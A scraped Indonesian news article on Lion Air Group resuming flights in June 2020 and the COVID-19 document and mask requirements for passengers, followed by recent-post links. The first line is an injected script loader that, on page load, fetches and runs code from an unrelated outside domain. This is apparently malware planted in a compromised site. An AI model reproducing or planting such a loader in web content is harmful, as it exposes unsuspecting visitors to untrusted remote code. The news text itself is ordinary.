(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: BisnisEkonomi

Lion Air Group Beroperasi Kembali, Ini Syarat untuk Calon Penumpang


KANALKALIMANTAN.COM, BANJARBARU – Setelah sempat menghentikan sementara operasional, grup maskapai penerbangan swasta terbesar di Indonesia Lion Air Group kembali beroperasi sejak Senin (1/6/2020). Namun demikian, calon penumpang harus memenuhi persyaratan-persyaratan yang ditetapkan.

Menurut Corporate Communication Strategic Lion Air Group Danang Mandala Prihantoro, selain harus tiba empat jam sebelum keberangkatan maupun melengkapi dokumen seperti surat tugas, calon penumpang juga harus menyertakan surat keterangan atau sertifikat bebas Covid-19. Seperti hasil rapid test, hasil Reverse Transcription – Polymerase Chain Reaction (RT-PCR) negatif Covid-19 yang berlaku maksimal 7 hari dan surat keterangan bebas gejala seperti influenza bagi daerah yang tidak memiliki fasilitas RT-PCR maupun rapid test.

“Calon penumpang juga harus mengenakan masker sebelum penerbangan, saat di dalam pesawat hingga mendarat dan keluar dari bandar udara, mencuci tangan atau menggunakan hand sanitizer dan menjaga kebersihan selama berada di dalam pesawat. Perlu diketahui, calon penumpang membawa hand sanitizer sendiri,” kata Danang dalam keterangan tertulis yang diterima, Selasa (2/6/2020).

Peraturan ini sendiri berlaku untuk seluruh penerbangan Lion Air Group di Indonesia. Tak terkecuali penerbangan dari dan atau menuju Banjarmasin.

Lalu, bagaimana dengan penerbangan Lion Air Group di Banjarmasin? Dihubungi pada Selasa (2/6/2020) siang, Area Manager Lion Air Group Kalselteng Agung Purnama menambahkan, setelah beroperasi normal, frekuensi penerbangan Lion Air Group ke Banjarmasin masih menyesuaikan dengan kebutuhan.

“(Untuk) frekuensi penerbangan kita sufaj menyiapkan untuk antisipasi new normal (kenormalan baru) ini. Namun tetap akan disesuaikan dengan kebutuhannya,” kata Agung.

Lanjut Agung, untuk saat ini, maskapainya akan melihat kebutuhannya. Saat ini, maskapai tengah menunggu dasar hukum protokol kesehatannya.

“Apakah SE Menhub Nomor 5 Tahun 2020 dan KM 25 tahun 2020 yanh berlaku hingga tanggal 7 Juni 2020 diperpanjang atau dicabut, kita sedang menunggu itu,” lugas Agung.

Disinggung soal keterisian itu, diakui Agung untuk periode tanggal 1 hingga 4 Juni 2020 masih di bawah 50 persen. Mengapa demikian? “Karena kemungkinan banyak calon penumpang yang belum siap terkait kelengkapan dokumen perjalannya,” pungkas Agung. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

7 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

10 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

11 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

15 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

16 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

18 jam ago